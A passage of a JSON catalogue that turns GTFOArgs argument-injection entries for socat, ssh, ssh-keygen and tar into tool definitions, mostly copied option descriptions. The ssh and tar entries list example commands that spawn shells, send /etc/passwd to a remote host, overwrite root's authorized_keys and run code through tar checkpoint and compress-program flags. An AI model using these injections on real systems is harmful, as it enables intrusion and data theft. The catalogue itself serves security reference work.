        "description": "-hh like -h, plus a list of all common address option names -hhh like -hh, plus a list of all available address option names -d[ddd] increase verbosity (use up to 4 times; 2 are recommended) -d0|1|2|3|4 set verbosity level (0: Errors; 4 all including Debug) -D analyze file descriptors before loop --experimental enable experimental features --statistics output transfer statistics on exit -ly[facility] log to syslog, using facility (default is daemon) -lf<logfile> log to file -ls log to stderr (default if no other log) -lm[facility] mixed log mode (stderr during initialization, then syslog) -lp<progname> set the program name used for logging and vars -lu use microseconds for logging timestamps -lh add hostname to log messages -v verbose text dump of data traffic -x verbose hexadecimal dump of data traffic -r <file> raw dump of data flowing from left to right -R <file> raw dump of data flowing from right to left -b<size_t> set data buffer size (8192) -s sloppy (continue on error) -S<sigmask> log these signals, override default -t<timeout> wait seconds before closing second channel -T<timeout> total inactivity timeout in seconds -u unidirectional mode (left to right) -U unidirectional mode (right to left) -g do not check option groups -L <lockfile> try to obtain lock, or fail -W <lockfile> try to obtain lock, or wait -0 do not prefer an IP version -4 prefer IPv4 if version is not explicitly specified -6 prefer IPv6 if version is not explicitly specified",
        "aliases": [
          "-h",
          "-?"
        ],
        "flag": "-h"
      },
      {
        "name": "g",
        "type": "boolean",
        "required": false,
        "description": "do not check option groups",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "hh",
        "type": "boolean",
        "required": false,
        "description": "plus a list of all common address option names",
        "aliases": [
          "-hh",
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "hhh",
        "type": "boolean",
        "required": false,
        "description": "plus a list of all available address option names",
        "aliases": [
          "-hhh",
          "-hh"
        ],
        "flag": "-hh"
      },
      {
        "name": "lf",
        "type": "boolean",
        "required": false,
        "description": "log to file",
        "aliases": [
          "-lf"
        ],
        "flag": "-lf"
      },
      {
        "name": "lh",
        "type": "boolean",
        "required": false,
        "description": "add hostname to log messages",
        "aliases": [
          "-lh"
        ],
        "flag": "-lh"
      },
      {
        "name": "lm",
        "type": "boolean",
        "required": false,
        "description": "mixed log mode (stderr during initialization, then syslog)",
        "aliases": [
          "-lm"
        ],
        "flag": "-lm"
      },
      {
        "name": "lp",
        "type": "boolean",
        "required": false,
        "description": "set the program name used for logging and vars",
        "aliases": [
          "-lp"
        ],
        "flag": "-lp"
      },
      {
        "name": "ls",
        "type": "boolean",
        "required": false,
        "description": "log to stderr (default if no other log)",
        "aliases": [
          "-ls"
        ],
        "flag": "-ls"
      },
      {
        "name": "lu",
        "type": "boolean",
        "required": false,
        "description": "use microseconds for logging timestamps",
        "aliases": [
          "-lu"
        ],
        "flag": "-lu"
      },
      {
        "name": "ly",
        "type": "boolean",
        "required": false,
        "description": "log to syslog, using facility (default is daemon)",
        "aliases": [
          "-ly"
        ],
        "flag": "-ly"
      },
      {
        "name": "r",
        "type": "boolean",
        "required": false,
        "description": "raw dump of data flowing from left to right",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "sloppy",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "t",
        "type": "boolean",
        "required": false,
        "description": "wait seconds before closing second channel",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "u",
        "type": "boolean",
        "required": false,
        "description": "unidirectional mode (left to right)",
        "aliases": [
          "-u"
        ],
        "flag": "-u"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "verbose text dump of data traffic",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "x",
        "type": "boolean",
        "required": false,
        "description": "verbose hexadecimal dump of data traffic",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/socat/"
      }
    ],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# ssh\n\nGTFOArgs entry for ssh. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-ssh.md",
    "capabilities": [
      "security.execution.command",
      "network.transfer.upload",
      "network.transfer.download",
      "system.file.read"
    ],
    "description": "Argument injection via ssh",
    "examples": [
      {
        "description": "Spawn interactive shell on client. Does not require a successful connection.",
        "command": "ssh -o ProxyCommand=';sh 0<&2 1>&2' host "
      },
      {
        "description": "Spawn interactive shell on client. Requires a successful connection towards `host`.",
        "command": "ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host "
      },
      {
        "description": "Sends a local file (`/etc/passwd`) to a remote SSH server and saves it in a location (`/tmp/out`).",
        "command": "ssh host \"cat /tmp/out\" < /etc/passwd "
      },
      {
        "description": "Retrieves a remote file from an SSH server (`/tmp/infile`) and saves it to a local destination (`/root/.ssh/authorized_keys`).",
        "command": "ssh host \"cat /tmp/infile\" > /root/.ssh/authorized_keys "
      },
      {
        "description": "Reads a file and outputs it in an error message.",
        "command": "ssh -F /etc/passwd host "
      },
      {
        "description": "Does not require a successful connection.",
        "command": "ssh -o ProxyCommand=';uname -a 1>&2' host "
      }
    ],
    "execution": {
      "template": "ssh",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-ssh",
    "name": "ssh",
    "namespace": "argument:injection:ssh",
    "parameters": [
      {
        "name": "KL",
        "type": "boolean",
        "required": false,
        "description": "port for re-",
        "aliases": [
          "-KL",
          "-KR"
        ],
        "flag": "-KL"
      },
      {
        "name": "flag-4",
        "template_key": "flag-4",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces ssh to use IPv4 addresses only",
        "aliases": [
          "-4"
        ],
        "flag": "-4"
      },
      {
        "name": "flag-6",
        "template_key": "flag-6",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Forces ssh to use IPv6 addresses only",
        "aliases": [
          "-6"
        ],
        "flag": "-6"
      },
      {
        "name": "flag-B",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Bind to the address of bind_interface before attempting to con- nect to the destination host. This is only useful on systems with more than one address",
        "aliases": [
          "-B"
        ],
        "flag": "-B"
      },
      {
        "name": "flag-D",
        "template_key": "flag-d",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies a local \"dynamic\" application-level port forwarding. This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine. Currently the SOCKS4 and SOCKS5 protocols are supported, and ssh will act as a SOCKS server. Only root can forward privileged ports. Dynamic port forwardings can also be specified in the configuration file",
        "aliases": [
          "-D"
        ],
        "flag": "-D"
      },
      {
        "name": "flag-E",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Append debug logs to log_file instead of standard error",
        "aliases": [
          "-E"
        ],
        "flag": "-E"
      },
      {
        "name": "flag-F",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies an alternative per-user configuration file. If a con- figuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored. The default for the per-user configuration file is ~/.ssh/config. If set to \"none\", no configuration files will be read",
        "aliases": [
          "-F"
        ],
        "flag": "-F"
      },
      {
        "name": "flag-I",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify the PKCS#11 shared library ssh should use to communicate with a PKCS#11 token providing keys for user authentication",
        "aliases": [
          "-I"
        ],
        "flag": "-I"
      },
      {
        "name": "flag-J",
        "template_key": "flag-j",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect to the target host by first making an ssh connection to the jump host described by destination and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. IPv6 addresses can be specified by enclosing the address in square brackets. This is a shortcut to specify a ProxyJump configura- tion directive. Note that configuration directives supplied on the command-line generally apply to the destination host and not any specified jump hosts. Use ~/.ssh/config to specify configu- ration for jump hosts",
        "aliases": [
          "-J"
        ],
        "flag": "-J"
      },
      {
        "name": "flag-K",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mote and -KD[bind_address:]port for dynamic port-forwardings. !command allows the user to execute a local command if the PermitLocalCommand option is enabled in ssh_config(5). Basic help is available, using the -h option",
        "aliases": [
          "-K",
          "-K"
        ],
        "flag": "-K"
      },
      {
        "name": "flag-L",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-L [bind_address:]port:remote_socket -L local_socket:host:hostport -L local_socket:remote_socket Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side. This works by al- locating a socket to listen to either a TCP port on the local side, optionally bound to the specified bind_address, or to a Unix socket. Whenever a connection is made to the local port or socket, the connection is forwarded over the secure channel, and a connection is made to either host port hostport, or the Unix socket remote_socket, from the remote machine",
        "aliases": [
          "-L"
        ],
        "flag": "-L"
      },
      {
        "name": "flag-O",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Control an active connection multiplexing master process. When the -O option is specified, the ctl_cmd argument is interpreted and passed to the master process. Valid commands are: \"check\" (check that the master process is running), \"forward\" (request forwardings without command execution), \"cancel\" (cancel for- wardings), \"proxy\" (connect to a running multiplexing master in proxy mode), \"exit\" (request the master to exit), and \"stop\" (request the master to stop accepting further multiplexing re- quests)",
        "aliases": [
          "-O"
        ],
        "flag": "-O"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ssh_config(5). Refer to the Tag and Match keywords in ssh_config(5) for more information. -p port Port to connect to on the remote host. This can be specified on a per-host basis in the configuration file",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-Q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Queries for the algorithms supported by one of the following features: cipher (supported symmetric ciphers), cipher-auth (supported symmetric ciphers that support authenticated encryp- tion), help (supported query terms for use with the -Q flag), mac (supported message integrity codes), kex (key exchange algo- rithms), kex-gss (GSSAPI key exchange algorithms), key (key types), key-ca-sign (valid CA signature algorithms for certifi- cates), key-cert (certificate key types), key-plain (non-cer- tificate key types), key-sig (all key types and signature algo- rithms), protocol-version (supported SSH protocol versions), and sig (supported signature algorithms). Alternatively, any key- word from ssh_config(5) or sshd_config(5) that takes an algo- rithm list may be used as an alias for the corresponding query_option",
        "aliases": [
          "-Q"
        ],
        "flag": "-Q"
      },
      {
        "name": "flag-R",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "-R [bind_address:]port:local_socket -R remote_socket:host:hostport -R remote_socket:local_socket -R [bind_address:]port Specifies that connections to the given TCP port or Unix socket on the remote (server) host are to be forwarded to the local side",
        "aliases": [
          "-R"
        ],
        "flag": "-R"
      },
      {
        "name": "flag-S",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies the location of a control socket for connection shar- ing, or the string \"none\" to disable connection sharing. Refer to the description of ControlPath and ControlMaster in ssh_config(5) for details",
        "aliases": [
          "-S"
        ],
        "flag": "-S"
      },
      {
        "name": "flag-W",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Requests that standard input and output on the client be for- warded to host on port over the secure channel. Implies -N, -T, ExitOnForwardFailure and ClearAllForwardings, though these can be overridden in the configuration file or using -o command line options",
        "aliases": [
          "-W"
        ],
        "flag": "-W"
      },
      {
        "name": "flag-a",
        "template_key": "flag-a",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disables forwarding of the authentication agent connection",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "flag-b",
        "template_key": "flag-b",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Use bind_address on the local machine as the source address of the connection. Only useful on systems with more than one ad- dress",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "flag-c",
        "template_key": "flag-c",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "Selects the cipher specification for encrypting the session. cipher_spec is a comma-separated list of ciphers listed in order of preference. See the Ciphers keyword in ssh_config(5) for more information",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "flag-e",
        "template_key": "flag-e",
        "type": "string",
        "required": false,
        "default_value": "`~'",
        "description": "Sets the escape character for sessions with a pty . The escape character is only recognized at the beginning of a line. The escape character followed by a dot (`.') closes the connection; followed by control-Z suspends the connection; and followed by itself sends the escape character once. Setting the character to \"none\" disables any escapes and makes the ses- sion fully transparent",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Requests ssh to go to background just before command execution",
        "aliases": [
          "-f"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-g",
        "template_key": "flag-g",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Allows remote hosts to connect to local forwarded ports. If",
        "aliases": [
          "-g"
        ],
        "flag": "-g"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Selects a file from which the identity (private key) for public key authentication is read. You can also specify a public key file to use the corresponding private key that is loaded in ssh-agent(1) when the private key file is not present locally. The default is ~/.ssh/id_rsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ecdsa_sk, ~/.ssh/id_ed25519 and ~/.ssh/id_ed25519_sk. Identity files may also be specified on a per-host basis in the configuration file. It is possible to have multiple -i options (and multiple identities specified in configuration files). If no certificates have been explicitly specified by the CertificateFile directive, ssh will also try to load certificate information from the filename obtained by appending -cert.pub to identity filenames",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disables forwarding (delegation) of GSSAPI credentials to the",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-l",
        "template_key": "flag-l",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specifies the user to log in as on the remote machine. This also may be specified on a per-host basis in the configuration file",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "A comma-separated list of MAC (message authentication code) al- gorithms, specified in order of preference. See the MACs key- word in ssh_config(5) for more information",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-n",
        "template_key": "flag-n",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Redirects stdin from /dev/null (actually, prevents reading from",
        "aliases": [
          "-n"
        ],
        "flag": "-n"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Can be used to give options in the format used in the configura- tion file. This is useful for specifying options for which there is no separate command-line flag. For full details of the options listed below, and their possible values, see ssh_config(5)",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-q",
        "template_key": "flag-q",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Quiet mode. Causes most warning and diagnostic messages to be",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "flag-s",
        "template_key": "flag-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "May be used to request invocation of a subsystem on the remote",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Force pseudo-terminal allocation. This can be used to execute",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-t-2",
        "template_key": "flag-t-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-t"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Verbose mode. Causes ssh to print debugging messages about its",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Requests tunnel device forwarding with the specified tun(4) de- vices between the client (local_tun) and the server (remote_tun)",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-w-2",
        "template_key": "flag-w-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "flag-x",
        "template_key": "flag-x",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disables X11 forwarding",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-y",
        "template_key": "flag-y",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Send log information using the syslog(3) system module. By de-",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/ssh/"
      }
    ],
    "techniques": [
      "execution",
      "exfiltration",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# ssh-keygen\n\nGTFOArgs entry for ssh-keygen. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-ssh-keygen.md",
    "capabilities": [
      "security.execution.command"
    ],
    "description": "Argument injection via ssh-keygen",
    "examples": [
      {
        "description": "Loads a local library. See (https://seanpesce.blogspot.com/2023/03/leveraging-ssh-keygen-for-arbitrary.html)[this blog) for more information.",
        "command": "ssh-keygen -D lib.so "
      }
    ],
    "execution": {
      "template": "ssh-keygen",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-ssh-keygen",
    "name": "ssh-keygen",
    "namespace": "argument:injection:ssh-keygen",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/ssh-keygen/"
      }
    ],
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# tar\n\nGTFOArgs entry for tar. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-tar.md",
    "capabilities": [
      "security.execution.command",
      "network.transfer.upload",
      "network.transfer.download",
      "system.file.read"
    ],
    "description": "Argument injection via tar",
    "examples": [
      {
        "description": "The --to-command is normally used to pipe extracted files to a command. This can be used to run arbitrary commands on a host. The file must be a valid archive file.",
        "command": "tar xf /tmp/valid.tar --to-command='/bin/sh -c \"sh <&2 1>&2\"' "
      },
      {
        "description": "Similar to the above, but at a previous stage in the extraction. A valid archive is not required. This functionality can be abused in various ways for file-read and file-write (see below).",
        "command": "tar xf /dev/null --use-compress-program='/bin/sh -c \"sh <&2 1>&2\"' "
      },
      {
        "description": "GNU tar specifc. The -F / --info-script= / --new-volume-script= arguments will run a command at volume rotation. Other flags used are to force frequent rotation.",
        "command": "tar cf /dev/null --record-size=512 -L1 -F'/bin/sh -c \"sh <&2 1>&2\"' /tmp/ "
      },
      {
        "description": "During archive creation, `--checkpoint` and `--checkpoint-action` can execute arbitrary commands. Requires injecting two arguments and a positional argument.",
        "command": "tar '--checkpoint=1' '--checkpoint-action=exec=\"sh shell.sh\"' "
      },
      {
        "description": "This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).",
        "command": "tar cvf remote_user@remote_host.com:/tmp/remote_file.tar /etc/passwd --rsh-command=/bin/ssh "
      },
      {
        "description": "GNU tar has remote archive capabilities, which can be used to download and extract remote archives. The remote machine should have the `rmt` utility installed and configured.",
        "command": "tar xvf remote_user@remote_host.com:/tmp/remote_file --rsh-command=/bin/ssh "
      },
      {
        "description": "The --use-compress-program flag can be abused to read files.",
        "command": "tar xf /etc/passwd --use-compress-program='/bin/sh -c \"echo hello > /tmp/file\"' "
      }
    ],
    "execution": {
      "template": "tar",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-tar",
    "name": "tar",
    "namespace": "argument:injection:tar",
    "parameters": [
      {
        "name": "absolute-names",
        "template_key": "absolute-names",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't strip leading '/'s from file names",
        "aliases": [
          "-P",
          "--absolute-names"
        ],
        "flag": "-P"
      },
      {
        "name": "acls",
        "template_key": "acls",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable the POSIX ACLs support",
        "aliases": [
          "--acls"
        ],
        "flag": "--acls"
      },
      {
        "name": "add-file",
        "template_key": "add-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "add given FILE to the archive (useful if its name",
        "aliases": [
          "--add-file"
        ],
        "flag": "--add-file"
      },
      {
        "name": "anchored",
        "template_key": "anchored",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "patterns match file name start",
        "aliases": [
          "--anchored"
        ],
        "flag": "--anchored"
      },
      {
        "name": "append",
        "template_key": "append",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "append files to the end of an archive",
        "aliases": [
          "-r",
          "--append"
        ],
        "flag": "-r"
      },
      {
        "name": "atime-preserve",
        "template_key": "atime-preserve",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve access times on dumped files, either",
        "aliases": [
          "--atime-preserve"
        ],
        "flag": "--atime-preserve"
      },
      {
        "name": "auto-compress",
        "template_key": "auto-compress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use archive suffix to determine the compression",
        "aliases": [
          "-a",
          "--auto-compress"
        ],
        "flag": "-a"
      },
      {
        "name": "backup",
        "template_key": "backup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "backup before removal, choose version CONTROL",
        "aliases": [
          "--backup"
        ],
        "flag": "--backup"
      },
      {
        "name": "block-number",
        "template_key": "block-number",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show block number within archive with each message",
        "aliases": [
          "-R",
          "--block-number"
        ],
        "flag": "-R"
      },
      {
        "name": "blocking-factor",
        "template_key": "blocking-factor",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "BLOCKS x 512 bytes per record",
        "aliases": [
          "-b",
          "--blocking-factor"
        ],
        "flag": "-b"
      },
      {
        "name": "bzip2",
        "template_key": "bzip2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through bzip2",
        "aliases": [
          "-j",
          "--bzip2"
        ],
        "flag": "-j"
      },
      {
        "name": "catenate",
        "template_key": "catenate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "append tar files to an archive",
        "aliases": [
          "-A",
          "--catenate",
          "--concatenate"
        ],
        "flag": "-A"
      },
      {
        "name": "check-device",
        "template_key": "check-device",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "check device numbers when creating incremental",
        "aliases": [
          "--check-device"
        ],
        "flag": "--check-device"
      },
      {
        "name": "check-links",
        "template_key": "check-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print a message if not all links are dumped",
        "aliases": [
          "-l",
          "--check-links"
        ],
        "flag": "-l"
      },
      {
        "name": "checkpoint",
        "template_key": "checkpoint",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(default 10) --checkpoint-action=ACTION execute ACTION on each checkpoint --full-time print file time to its full resolution --index-file=FILE send verbose output to FILE",
        "aliases": [
          "--checkpoint"
        ],
        "flag": "--checkpoint"
      },
      {
        "name": "checkpoint_action",
        "type": "boolean",
        "required": false,
        "description": "execute ACTION on each checkpoint",
        "aliases": [
          "--checkpoint-action"
        ],
        "flag": "--checkpoint-action"
      },
      {
        "name": "clamp-mtime",
        "template_key": "clamp-mtime",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only set time when the file is more recent than",
        "aliases": [
          "--clamp-mtime"
        ],
        "flag": "--clamp-mtime"
      },
      {
        "name": "compress",
        "template_key": "compress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through compress",
        "aliases": [
          "-Z",
          "--compress",
          "--uncompress"
        ],
        "flag": "-Z"
      },
      {
        "name": "create",
        "template_key": "create",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "create a new archive",
        "aliases": [
          "-c",
          "--create"
        ],
        "flag": "-c"
      },
      {
        "name": "delay-directory-restore",
        "template_key": "delay-directory-restore",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delay setting modification times and",
        "aliases": [
          "--delay-directory-restore"
        ],
        "flag": "--delay-directory-restore"
      },
      {
        "name": "delete",
        "template_key": "delete",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delete from the archive (not on mag tapes!)",
        "aliases": [
          "--delete"
        ],
        "flag": "--delete"
      },
      {
        "name": "dereference",
        "template_key": "dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow symlinks; archive and dump the files they",
        "aliases": [
          "-h",
          "--dereference"
        ],
        "flag": "-h"
      },
      {
        "name": "diff",
        "template_key": "diff",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "find differences between archive and file system",
        "aliases": [
          "-d",
          "--diff",
          "--compare"
        ],
        "flag": "-d"
      },
      {
        "name": "directory",
        "template_key": "directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "change to directory DIR",
        "aliases": [
          "-C",
          "--directory"
        ],
        "flag": "-C"
      },
      {
        "name": "exclude",
        "template_key": "exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude files, given as a PATTERN",
        "aliases": [
          "--exclude"
        ],
        "flag": "--exclude"
      },
      {
        "name": "exclude-backups",
        "template_key": "exclude-backups",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude backup and lock files",
        "aliases": [
          "--exclude-backups"
        ],
        "flag": "--exclude-backups"
      },
      {
        "name": "exclude-caches",
        "template_key": "exclude-caches",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude contents of directories containing",
        "aliases": [
          "--exclude-caches"
        ],
        "flag": "--exclude-caches"
      },
      {
        "name": "exclude-caches-all",
        "template_key": "exclude-caches-all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "exclude directories containing CACHEDIR.TAG",
        "aliases": [
          "--exclude-caches-all"
        ],
        "flag": "--exclude-caches-all"
      },
      {
        "name": "exclude-caches-under",
        "template_key": "exclude-caches-under",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "CACHEDIR.TAG --exclude-ignore=FILE read exclude patterns for each directory from FILE, if it exists --exclude-ignore-recursive=FILE read exclude patterns for each directory and its subdirectories from FILE, if it exists --exclude-tag=FILE exclude contents of directories containing FILE, except for FILE itself --exclude-tag-all=FILE exclude directories containing FILE --exclude-tag-under=FILE exclude everything under directories containing FILE --exclude-vcs exclude version control system directories --exclude-vcs-ignores read exclude patterns from the VCS ignore files --no-null disable the effect of the previous --null option --no-recursion avoid descending automatically in directories --no-unquote do not unquote input file or member names --no-verbatim-files-from -T treats file names starting with dash as options (default) --null -T reads null-terminated names; implies --verbatim-files-from --recursion recurse into directories (default)",
        "aliases": [
          "--exclude-caches-under"
        ],
        "flag": "--exclude-caches-under"
      },
      {
        "name": "exclude-from",
        "template_key": "exclude-from",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "exclude patterns listed in FILE",
        "aliases": [
          "-X",
          "--exclude-from"
        ],
        "flag": "-X"
      },
      {
        "name": "exclude_ignore",
        "type": "boolean",
        "required": false,
        "description": "read exclude patterns for each directory from",
        "aliases": [
          "--exclude-ignore"
        ],
        "flag": "--exclude-ignore"
      },
      {
        "name": "exclude_ignore_recursive",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--exclude-ignore-recursive"
        ],
        "flag": "--exclude-ignore-recursive"
      },
      {
        "name": "exclude_tag",
        "type": "boolean",
        "required": false,
        "description": "exclude contents of directories containing FILE,",
        "aliases": [
          "--exclude-tag"
        ],
        "flag": "--exclude-tag"
      },
      {
        "name": "exclude_tag_all",
        "type": "boolean",
        "required": false,
        "description": "exclude directories containing FILE",
        "aliases": [
          "--exclude-tag-all"
        ],
        "flag": "--exclude-tag-all"
      },
      {
        "name": "exclude_tag_under",
        "type": "boolean",
        "required": false,
        "description": "exclude everything under directories",
        "aliases": [
          "--exclude-tag-under"
        ],
        "flag": "--exclude-tag-under"
      },
      {
        "name": "exclude_vcs",
        "type": "boolean",
        "required": false,
        "description": "exclude version control system directories",
        "aliases": [
          "--exclude-vcs"
        ],
        "flag": "--exclude-vcs"
      },
      {
        "name": "exclude_vcs_ignores",
        "type": "boolean",
        "required": false,
        "description": "read exclude patterns from the VCS ignore files",
        "aliases": [
          "--exclude-vcs-ignores"
        ],
        "flag": "--exclude-vcs-ignores"
      },
      {
        "name": "extract",
        "template_key": "extract",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "extract files from an archive",
        "aliases": [
          "-x",
          "--extract",
          "--get"
        ],
        "flag": "-x"
      },
      {
        "name": "file",
        "template_key": "file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use archive file or device ARCHIVE",
        "aliases": [
          "-f",
          "--file"
        ],
        "flag": "-f"
      },
      {
        "name": "files-from",
        "template_key": "files-from",
        "type": "file",
        "required": false,
        "default_value": null,
